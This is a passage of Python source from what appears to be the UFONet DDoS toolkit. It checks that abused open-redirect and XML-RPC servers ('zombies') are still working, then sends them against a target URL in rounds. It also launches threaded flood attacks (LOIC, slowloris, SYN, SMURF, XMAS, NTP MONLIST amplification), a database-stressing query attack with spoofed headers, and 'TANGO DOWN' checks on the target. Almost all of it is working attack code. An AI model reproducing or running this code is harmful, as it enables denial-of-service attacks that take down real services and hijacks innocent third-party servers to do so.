  4075. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  4076. return
  4077. else:
  4078. if not self.options.forceyes:
  4079. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  4080. print('-'*25)
  4081. else:
  4082. update_reply = "Y"
  4083. if update_reply == "n" or update_reply == "N":
  4084. print("[AI] "+self.exit_msg+"\n")
  4085. return
  4086. else:
  4087. self.update_rpcs(rpcs_ready)
  4088. if not self.options.upload:
  4089. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4090. def testing(self, zombies):
  4091. # test Open Redirect exploiting and show statistics
  4092. # HTTP HEAD check
  4093. army = 0
  4094. print ("Are 'they' alive? :-) (HEAD Check):")
  4095. print('='*35)
  4096. num_active_zombies = 0
  4097. num_failed_zombies = 0
  4098. active_zombies = []
  4099. print("Trying:", len(zombies))
  4100. print('-'*21)
  4101. for zombie in zombies:
  4102. zombie = str(zombie)
  4103. if zombie.startswith("http://") or zombie.startswith("https://"):
  4104. # send HEAD connection
  4105. self.head = True
  4106. try:
  4107. self.connect_zombies(zombie)
  4108. except:
  4109. pass
  4110. while self.herd.no_more_zombies() == False:
  4111. time.sleep(1)
  4112. for zombie in self.herd.done:
  4113. zombie = str(zombie)
  4114. t = urlparse(zombie)
  4115. if self.herd.get_result(zombie):
  4116. code_reply = self.herd.get_result(zombie)
  4117. self.head = False
  4118. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  4119. name_zombie = t.netloc
  4120. if name_zombie == "":
  4121. name_zombie = zombie
  4122. print("Zombie:", name_zombie)
  4123. print("Status: OK ["+ code_reply + "]")
  4124. num_active_zombies = num_active_zombies + 1
  4125. active_zombies.append(zombie)
  4126. elif code_reply == "401":
  4127. print("Zombie:", t.netloc)
  4128. print("Status: Unauthorized ["+ code_reply + "]")
  4129. num_failed_zombies = num_failed_zombies + 1
  4130. elif code_reply == "403":
  4131. print("Zombie:", t.netloc)
  4132. print("Status: Error Forbidden ["+ code_reply + "]")
  4133. num_failed_zombies = num_failed_zombies + 1
  4134. elif code_reply == "404":
  4135. print("Zombie:", t.netloc)
  4136. print("Status: Not Found ["+ code_reply + "]")
  4137. num_failed_zombies = num_failed_zombies + 1
  4138. elif code_reply == "500":
  4139. print("Zombie:", t.netloc)
  4140. print("Status: Internal Server Error ["+ code_reply + "]")
  4141. num_failed_zombies = num_failed_zombies + 1
  4142. else:
  4143. print("Zombie:", t.netloc, "\nVector:", zombie)
  4144. print("Status: Not Allowed ["+ code_reply + "]")
  4145. num_failed_zombies = num_failed_zombies + 1
  4146. else:
  4147. if self.options.verbose:
  4148. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  4149. print("Zombie:", zombie)
  4150. print("Status: Malformed!")
  4151. num_failed_zombies = num_failed_zombies + 1
  4152. print('-'*10)
  4153. self.herd.reset()
  4154. print('='*18)
  4155. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  4156. print('='*18 + "\n")
  4157. print('='*22)
  4158. if num_active_zombies > 0:
  4159. # check url parameter vectors
  4160. print ("Checking for payloads:")
  4161. print('='*22)
  4162. print("Trying:", num_active_zombies)
  4163. print('-'*21)
  4164. zombies_ready = []
  4165. num_waiting_zombies = 0
  4166. if num_active_zombies == 0:
  4167. num_disconnected_zombies = num_failed_zombies
  4168. else:
  4169. num_disconnected_zombies = 0
  4170. for zombie in active_zombies:
  4171. zombie = str(zombie)
  4172. t = urlparse(zombie)
  4173. name_zombie = t.netloc
  4174. if name_zombie == "":
  4175. name_zombie = zombie
  4176. self.payload = True
  4177. try:
  4178. self.connect_zombies(zombie)
  4179. except:
  4180. pass
  4181. self.payload = False
  4182. while self.herd.no_more_zombies() == False:
  4183. time.sleep(1)
  4184. for zombie in self.herd.done:
  4185. zombie = str(zombie)
  4186. t = urlparse(zombie)
  4187. name_zombie = t.netloc
  4188. if name_zombie == "":
  4189. name_zombie = zombie
  4190. payload_zombie = zombie
  4191. payload_reply = ""
  4192. print("Vector:", payload_zombie)
  4193. self.payload = True
  4194. if self.herd.get_result(zombie):
  4195. payload_reply = self.herd.get_result(zombie)
  4196. self.payload = False
  4197. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  4198. num_waiting_zombies = num_waiting_zombies + 1
  4199. print("Status:", "Waiting for orders... ;-)")
  4200. zombies_ready.append(zombie)
  4201. else:
  4202. num_disconnected_zombies = num_disconnected_zombies + 1
  4203. print("Status:", "Not ready...")
  4204. army = army + 1
  4205. print('-'*10)
  4206. self.herd.reset()
  4207. print('='*18)
  4208. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  4209. print('='*18 + "\n")
  4210. # list of [Zombies] ready to attack
  4211. num_active_zombie = 0
  4212. for z in zombies_ready:
  4213. t = urlparse(z)
  4214. name_zombie = t.netloc
  4215. if name_zombie == "":
  4216. name_zombie = z
  4217. num_active_zombie = num_active_zombie + 1
  4218. if self.options.verbose:
  4219. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  4220. if self.options.testall: # testing_all
  4221. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  4222. else:
  4223. print('-'*25 + "\n")
  4224. print('='*24)
  4225. print("Working [Zombies]:", num_active_zombie)
  4226. print('='*24)
  4227. if not self.options.forceyes:
  4228. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  4229. print('-'*25)
  4230. else:
  4231. update_reply = "Y"
  4232. if update_reply == "n" or update_reply == "N":
  4233. print("[AI] "+self.exit_msg+"\n")
  4234. return
  4235. else:
  4236. self.update_zombies(zombies_ready)
  4237. if not self.options.upload:
  4238. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4239. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  4240. else:
  4241. print('-'*25 + "\n")
  4242. print('='*24)
  4243. print("Working [Zombies]:", num_active_zombies)
  4244. print('='*24)
  4245. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  4246. def testing_all(self):
  4247. # test whole botnet
  4248. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  4249. print('='*35)
  4250. zombies = self.extract_zombies()
  4251. rpcs = self.extract_rpcs()
  4252. aliens = self.extract_aliens()
  4253. droids = self.extract_droids()
  4254. ucavs = self.extract_ucavs()
  4255. try:
  4256. botnet = zombies + rpcs + aliens + droids + ucavs
  4257. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  4258. except:
  4259. return
  4260. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  4261. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  4262. print("\n" + '='*52)
  4263. print("\n+ Total Botnet:", len(botnet))
  4264. print("\n" + '-'*25)
  4265. print("\n+ Total Tested:", len(tested_zombies))
  4266. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  4267. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  4268. print('='*52 + '\n')
  4269. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  4270. if not self.options.forceyes:
  4271. update_reply = input("[AI] Do you want update your army? (Y/n)")
  4272. print('-'*25)
  4273. else:
  4274. update_reply = "Y"
  4275. if update_reply == "n" or update_reply == "N":
  4276. print("[AI] "+self.exit_msg+"\n")
  4277. return
  4278. else:
  4279. if num_disconnected_zombies > 0:
  4280. self.update_zombies(zombies_ready)
  4281. if num_failed_rpcs > 0:
  4282. self.update_rpcs(rpcs_ready)
  4283. if not self.options.upload:
  4284. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  4285. else:
  4286. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  4287. def attacking(self, zombies, target):
  4288. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  4289. if self.options.forcessl:
  4290. if target.startswith("http://"):
  4291. target = target.replace("http://", "https://") # force SSL/TLS
  4292. if target.startswith("http://") or target.startswith("https://"):
  4293. print("Attacking:", target)
  4294. print('='*55, "\n")
  4295. # send Open Redirect injection (multiple zombies > one target url)
  4296. reply = self.injection(target, zombies)
  4297. else:
  4298. print("\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n")
  4299. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist):
  4300. # perform some other extra attacks (such as DoS techniques)
  4301. time.sleep(2) # aiming (multi-threading flow time compensation)
  4302. if loic:
  4303. try:
  4304. self.options.loic = int(loic)
  4305. except:
  4306. self.options.loic = 100 # default LOIC requests
  4307. if self.options.loic < 1:
  4308. self.options.loic = 100
  4309. self.instance = LOIC() # instance main class for LOIC operations
  4310. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  4311. self.t1.daemon = True # extra weapons are threaded as daemons
  4312. self.t1.start()
  4313. self.update_loic_stats() # add new LOIC attack to mothership stats
  4314. if loris:
  4315. try:
  4316. self.options.loris = int(loris)
  4317. except:
  4318. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  4319. if self.options.loris < 1:
  4320. self.options.loris = 101
  4321. self.instance = LORIS() # instance main class for LORIS operations
  4322. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  4323. self.t2.daemon = True
  4324. self.t2.start()
  4325. self.update_loris_stats() # add new LORIS attack to mothership stats
  4326. if ufosyn:
  4327. try:
  4328. self.options.ufosyn = int(ufosyn)
  4329. except:
  4330. self.options.ufosyn = 100 # default UFOSYN requests
  4331. if self.options.ufosyn < 1:
  4332. self.options.ufosyn = 100
  4333. self.instance = UFOSYN() # instance main class for UFOSYN operations
  4334. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  4335. self.t3.daemon = True
  4336. self.t3.start()
  4337. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  4338. if spray:
  4339. try:
  4340. self.options.spray = int(spray)
  4341. except:
  4342. self.options.spray = 100 # default SPRAY requests
  4343. if self.options.spray < 1:
  4344. self.options.spray = 100
  4345. self.instance = SPRAY() # instance main class for SPRAY operations
  4346. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  4347. self.t4.daemon = True
  4348. self.t4.start()
  4349. self.update_spray_stats() # add new SPRAY attack to mothership stats
  4350. if smurf:
  4351. try:
  4352. self.options.smurf = int(smurf)
  4353. except:
  4354. self.options.smurf = 101 # default SMURF requests
  4355. if self.options.smurf < 1:
  4356. self.options.smurf = 101
  4357. self.instance = SMURF() # instance main class for SMURF operations
  4358. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  4359. self.t5.daemon = True
  4360. self.t5.start()
  4361. self.update_smurf_stats() # add new SMURF attack to mothership stats
  4362. if xmas:
  4363. try:
  4364. self.options.xmas = int(xmas)
  4365. except:
  4366. self.options.xmas = 101 # default XMAS requests
  4367. if self.options.xmas < 1:
  4368. self.options.xmas = 101
  4369. self.instance = XMAS() # instance main class for XMAS operations
  4370. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  4371. self.t6.daemon = True
  4372. self.t6.start()
  4373. self.update_xmas_stats() # add new XMAS attack to mothership stats
  4374. if nuke:
  4375. if sys.platform == "linux" or sys.platform == "linux2":
  4376. try:
  4377. self.options.nuke = int(nuke)
  4378. except:
  4379. self.options.nuke = 10000 # default NUKE requests
  4380. if self.options.nuke < 1:
  4381. self.options.nuke = 10000
  4382. self.instance = NUKE() # instance main class for NUKE operations
  4383. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  4384. self.t7.daemon = True # extra weapons are threaded as daemons
  4385. self.t7.start()
  4386. self.update_nuke_stats() # add new NUKE attack to mothership stats
  4387. else:
  4388. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  4389. if tachyon:
  4390. try:
  4391. self.options.tachyon = int(tachyon)
  4392. except:
  4393. self.options.tachyon = 1000 # default TACHYON requests
  4394. if self.options.tachyon < 1:
  4395. self.options.tachyon = 1000
  4396. self.instance = TACHYON() # instance main class for TACHYON operations
  4397. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  4398. self.t8.daemon = True
  4399. self.t8.start()
  4400. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  4401. if monlist:
  4402. try:
  4403. self.options.monlist = int(monlist)
  4404. except:
  4405. self.options.monlist = 1000 # default MONLIST requests
  4406. if self.options.monlist < 1:
  4407. self.options.monlist = 1000
  4408. self.instance = MONLIST() # instance main class for MONLIST operations
  4409. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  4410. self.t9.daemon = True
  4411. self.t9.start()
  4412. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  4413. def stressing(self, target, zombie):
  4414. # perform a DDoS Web attack against a target, requesting records on target's database
  4415. options = self.options
  4416. db_input = self.options.dbstress
  4417. def random_key(length):
  4418. key = ''
  4419. for i in range(length):
  4420. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  4421. return key
  4422. # generating random alphanumeric queries
  4423. if self.db_flash > 9: # set db flash start on: 10
  4424. length = 1024 # search a heavy random length query (db flash): 1024
  4425. self.db_flash = 0 # reset db flash counter
  4426. else:
  4427. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  4428. key = str(random_key(length))
  4429. if self.db_flash > 9:
  4430. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  4431. else:
  4432. print("[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  4433. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4434. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4435. if not target.endswith('/'): # add "/" to end of target
  4436. target = target + "/"
  4437. url = zombie + target + db_input + key
  4438. req = urllib.request.Request(url, None, headers)
  4439. if options.proxy: # set proxy
  4440. self.proxy_transport(options.proxy)
  4441. try:
  4442. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  4443. except urllib.error.HTTPError as e:
  4444. if e.code == 401:
  4445. print('[Info] [DBStress] Not authorized')
  4446. elif e.code == 404:
  4447. print('[Info] [DBStress] Not found')
  4448. elif e.code == 503:
  4449. print('[Info] [DBStress] Service unavailable')
  4450. else:
  4451. print('[Info] [DBStress] Unknown error')
  4452. else:
  4453. print('[Info] [DBStress] Database query: HIT!')
  4454. def attackme(self, zombies):
  4455. # perform a DDoS Web attack against yourself
  4456. print("[AI] Starting local port to listening at: " + self.port + "\n")
  4457. print('='*21 + "\n")
  4458. self.doll=Doll(self)
  4459. self.doll.start()
  4460. while not self.doll._armed:
  4461. time.sleep(1)
  4462. # send Open Redirect injection (multiple zombies-multiple target urls)
  4463. target = ""
  4464. self.injection(target, zombies)
  4465. self.doll.shutdown()
  4466. self.doll.join()
  4467. self.herd.list_fails()
  4468. def check_target_status(self):
  4469. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  4470. print("\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n")
  4471. if not self.options.forceyes:
  4472. update_reply = input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  4473. print("\n" + '-'*25)
  4474. else:
  4475. update_reply = "N"
  4476. if update_reply == "y" or update_reply == "Y":
  4477. try: # send HEAD connection
  4478. self.head = True
  4479. reply = self.connect_zombie(target)
  4480. self.head = False
  4481. if reply:
  4482. print("\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n")
  4483. else:
  4484. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4485. self.update_targets_crashed() # update targets crashed stats
  4486. self.update_mothership_stats() # update mothership completed attack stats
  4487. except Exception:
  4488. print("\n[Error] [AI] Something wrong with your connection!...\n")
  4489. if DEBUG == True:
  4490. traceback.print_exc()
  4491. return
  4492. else:
  4493. print("\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n")
  4494. self.update_targets_crashed() # update targets crashed stats
  4495. self.update_mothership_stats() # update mothership completed attack stats
  4496. return
  4497. def starting_target_check(self, target, head_check):
  4498. options = self.options
  4499. head_check_here = False
  4500. head_check_external = False
  4501. if options.disablehead: # check at start is disabled (skipping!)
  4502. print("[Info] [AI] Skipping external check...\n")
  4503. head_check_here = True
  4504. head_check_external = True
  4505. else:
  4506. if head_check:
  4507. if not options.attackme:
  4508. print("[AI] Launching: 'Is target up?' check...\n")
  4509. try: # send HEAD connection
  4510. self.head = True
  4511. reply = self.connect_zombie(target)
  4512. self.head = False
  4513. if reply:
  4514. print("[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]")
  4515. head_check_here = True
  4516. else:
  4517. print("[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]")
  4518. head_check_here = False
  4519. except Exception:
  4520. print("[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]")
  4521. if DEBUG == True:
  4522. traceback.print_exc()
  4523. head_check_here = False
  4524. else: # check if local IP/PORT is listening on mothership
  4525. print("[AI] Launching: 'Is NAT ready?' check...\n")
  4526. try:
  4527. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  4528. result = sock.connect_ex(('0.0.0.0',8080))
  4529. if result == 0 or result == 110: # black magic
  4530. print("[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080")
  4531. head_check_here = True
  4532. else:
  4533. print("[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080")
  4534. head_check_here = False
  4535. except Exception:
  4536. print("[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports...")
  4537. if DEBUG == True:
  4538. traceback.print_exc()
  4539. head_check_here = False
  4540. else:
  4541. head_check_here = True
  4542. # check target using external check services
  4543. self.external = True
  4544. if not options.attackme:
  4545. try:
  4546. target = self.parse_url_encoding(target) # parse for proper url encoding
  4547. try:
  4548. url = self.external_check_service1 + target # check from external service [1]
  4549. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4550. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4551. if options.proxy: # set proxy
  4552. self.proxy_transport(options.proxy)
  4553. req = urllib.request.Request(url, None, headers)
  4554. external_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4555. if b"returned code 200 OK and is up" in external_reply:
  4556. t = urlparse(self.external_check_service1)
  4557. name_external1 = t.netloc
  4558. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]")
  4559. head_check_external = True
  4560. except:
  4561. url = self.external_check_service2 + target # check from external service [2]
  4562. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  4563. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  4564. if options.proxy: # set proxy
  4565. self.proxy_transport(options.proxy)
  4566. req = urllib.request.Request(url, None, headers)
  4567. try:
  4568. req_reply = urllib.request.urlopen(req, context=self.ctx).read()
  4569. if b"It's just you" in req_reply:
  4570. t = urlparse(self.external_check_service2)
  4571. name_external2 = t.netloc
  4572. print("[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]")
  4573. head_check_external = True
  4574. else:
  4575. print("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4576. head_check_external = False
  4577. except urllib.error.HTTPError as e:
  4578. if e:
  4579. print("[Error] [AI] [Control] [ "+ self.external_check_service2 +" ] isn't replying to your requests! -> [Passing!]")
  4580. print ("[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]")
  4581. head_check_external = False
  4582. except Exception:
  4583. print("[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]")
  4584. if DEBUG == True:
  4585. traceback.print_exc()
  4586. head_check_external = False
  4587. else:
  4588. try: # check mothership from public ip / NAT using HEAD request
  4589. try:
  4590. req = urllib.request.Request(str(self.pub_ip+":8080"), method="HEAD")
  4591. reply = urllib.request.urlopen(req)
  4592. except Exception:
  4593. reply = None
  4594. if reply:
  4595. print("[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]")
  4596. head_check_external = True
  4597. else:
  4598. print("[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]")
  4599. head_check_external = False
  4600. head_check_here = False # stop attack if not public IP available
  4601. except Exception:
  4602. print("[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]")
  4603. head_check_here = False # stop attack if not public IP available
  4604. if DEBUG == True:
  4605. traceback.print_exc()
  4606. head_check_external = False
  4607. self.external = False
  4608. return head_check_here, head_check_external
  4609. def injection(self, target, zombies, head_check = True):
  4610. options = self.options
  4611. # check target's integrity at start
  4612. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  4613. # ask user to confirm the attack
  4614. if head_check_here == True or head_check_external == True:
  4615. if not self.options.forceyes:
  4616. if not options.attackme:
  4617. if not options.disablehead:
  4618. start_reply = input("\n[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  4619. else:
  4620. start_reply = input("[AI] Do you want to start an attack, directly? (y/N)\n")
  4621. else:
  4622. if not options.disablehead:
  4623. start_reply = input("\n[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  4624. else:
  4625. start_reply = input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  4626. else:
  4627. start_reply = "Y"
  4628. if start_reply == "y" or start_reply == "Y":
  4629. if options.attackme:
  4630. total_rounds = 2 # default rounds for attackme
  4631. else:
  4632. total_rounds = options.rounds # extract number of rounds
  4633. try:
  4634. total_rounds = int(total_rounds)
  4635. except:
  4636. total_rounds = 1
  4637. if not total_rounds:
  4638. total_rounds = 1
  4639. if total_rounds <= 0:
  4640. total_rounds = 1
  4641. self.herd.cleanup()
  4642. num_round = 1
  4643. num_hits = 0
  4644. num_zombie = 1
  4645. # start to attack the target with [MODS]
  4646. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke or options.tachyon or options.monlist:
  4647. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke, self.options.tachyon, self.options.monlist)) # multithreading flow for extra attacks
  4648. ex.daemon = True # extra weapons are threaded as daemons
  4649. ex.start()
  4650. # start to attack the target with [ARMY]
  4651. zombies = self.extract_zombies() # extract zombies from file
  4652. if zombies:
  4653. self.total_zombie = len(zombies)
  4654. else:
  4655. self.total_zombie = 0
  4656. return
  4657. self.herd=Herd(self)
  4658. if not self.options.disablepurge:
  4659. self.discardzombies = []
  4660. self.discard_aliens = []
  4661. self.discard_droids = []
  4662. self.discard_rpcs = []
  4663. self.discard_ucavs = []
  4664. total_disc_zombies = 0
  4665. self.num_discard_zombies = 0
  4666. self.num_discard_aliens = 0
  4667. self.num_discard_droids = 0
  4668. self.num_discard_rpcs = 0
  4669. self.num_discard_ucavs = 0
  4670. self.empty_zombies = False
  4671. for i in range(0, int(total_rounds)): # start attacking using rounds
  4672. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  4673. print('='*42)
  4674. print('Starting round:', num_round, ' of ', total_rounds)
  4675. print('='*42)
  4676. self.herd.reset()
  4677. self.extra_zombies_lock = True
  4678. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  4679. self.send_zombies(zombies) # send [Zombies]
  4680. if not self.options.attackme:
  4681. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  4682. if self.options.verbose:
  4683. print("[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]")
  4684. self.send_extra_zombies() # send [ARMY]
  4685. while self.extra_zombies_lock == True:
  4686. time.sleep(1) # wait for [ARMY] to return
  4687. if self.options.verbose:
  4688. print("\n" + '='*42)
  4689. print("\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]")
  4690. else:
  4691. zombies_lock = 0
  4692. if self.options.expire: # set timing for purge
  4693. try:
  4694. timing = int(self.options.expire)
  4695. except:
  4696. timing = self.expire_timing # default timing for purge
  4697. else:
  4698. timing = self.expire_timing # default timing for purge
  4699. if timing < 1:
  4700. timing = self.expire_timing # default timing for purge
  4701. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  4702. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  4703. zombies_lock = zombies_lock + 1
  4704. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  4705. if self.options.verbose:
  4706. print("[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  4707. break
  4708. else:
  4709. time.sleep(1)
  4710. if self.options.verbose:
  4711. print("\n" + '='*42)
  4712. print("\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]")
  4713. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  4714. self.check_target_status()
  4715. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  4716. self.abandoning_zombies() # check for abandoning zombies
  4717. for zombie in self.herd.done: # check for num hits
  4718. if self.herd.connection_failed(zombie) == False:
  4719. num_hits = num_hits + 1
  4720. num_zombie = num_zombie + 1
  4721. if num_zombie > self.total_zombie:
  4722. num_zombie = 1
  4723. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  4724. check_is_loading = self.check_is_loading(target)
  4725. self.herd.dump_html()
  4726. if not self.options.disablepurge:
  4727. if self.empty_zombies == True:
  4728. break # exit routine when not any more zombies
  4729. num_round = num_round + 1
  4730. if self.options.verbose:
  4731. print("\n" + '='*42)
  4732. print("\n[Info] [AI] This battle is over! -> [Reporting!]")
  4733. if self.options.loic: # try to stop daemons/threads for extra weapons
  4734. self.t1.join()
  4735. if self.options.loris:
  4736. self.t2.join()
  4737. if self.options.ufosyn:
  4738. self.t3.join()
  4739. if self.options.spray:
  4740. self.t4.join()
  4741. if self.options.smurf:
  4742. self.t5.join()
  4743. if self.options.xmas:
  4744. self.t6.join()
  4745. if self.options.nuke:
  4746. self.t7.join()
  4747. if self.options.tachyon:
  4748. self.t8.join()
  4749. if self.options.monlist:
  4750. self.t9.join()
  4751. if self.options.target_list:
  4752. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  4753. print ("\x1b[2J\x1b[H") # black magic
  4754. if not self.options.attackme: # show herd results
  4755. self.herd.dump()
  4756. else: # show doll results
  4757. print('='*21)
  4758. print("\n[Info] [AI] Mothership transmission...\n")
  4759. num_real_zombies = len(self.doll.real_zombies)
  4760. print("[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n")
  4761. for z in self.doll.real_zombies: # show only alien verified zombies
  4762. for x in z:
  4763. print(" - " + str(x))
  4764. self.herd.dump_html(True) # show (all) zombies statistics
  4765. if not self.options.attackme:
  4766. if not self.options.disablepurge:
  4767. print("\n[Info] [AI] Report completed! -> [Purging!]\n")
  4768. else:
  4769. if not options.target_list:
  4770. print("\n[Info] [AI] Report completed! -> [Exiting!]\n")
  4771. else:
  4772. print("\n[Info] [AI] Report completed! -> [OK!]\n")
  4773. self.update_mothership_stats() # update mothership stats
  4774. if not self.options.disablepurge:
  4775. print('='*21+ "\n")
  4776. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  4777. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4778. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n")
  4779. elif total_disc_zombies > 1:
  4780. print("[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n")
  4781. if self.num_discard_zombies > 0:
  4782. print(" + Zombies: ["+ str(self.num_discard_zombies)+"]")
  4783. if self.num_discard_aliens > 0:
  4784. print(" + Aliens : ["+ str(self.num_discard_aliens)+"]")
  4785. if self.num_discard_droids > 0:
  4786. print(" + Droids : ["+ str(self.num_discard_droids)+"]")
  4787. if self.num_discard_rpcs > 0:
  4788. print(" + X-RPCs : ["+ str(self.num_discard_rpcs)+"]")
  4789. if self.num_discard_ucavs > 0:
  4790. print(" + UCAVs : ["+ str(self.num_discard_ucavs)+"]")
  4791. if total_disc_zombies > 0:
  4792. if not self.options.forceyes:
  4793. if total_disc_zombies > 0 and total_disc_zombies < 2:
  4794. backup_reply = input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  4795. elif total_disc_zombies > 1:
  4796. backup_reply = input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  4797. else:
  4798. backup_reply = "Y"
  4799. if backup_reply == "y" or backup_reply == "Y":
  4800. print("\n[Info] [AI] Purging failed units from files...\n")
  4801. discarded = []
  4802. if self.num_discard_zombies > 0:
  4803. for z in self.discardzombies:
  4804. discarded.append(z)
  4805. print(" + [Info] [Zombies] "+z+" -> [Purged!]")
  4806. if self.num_discard_aliens > 0:
  4807. for a in self.discard_aliens:
  4808. discarded.append(a)
  4809. print(" + [Info] [Aliens] "+a+" -> [Purged!]")
  4810. if self.num_discard_droids > 0:
  4811. for d in self.discard_droids:
  4812. discarded.append(d)
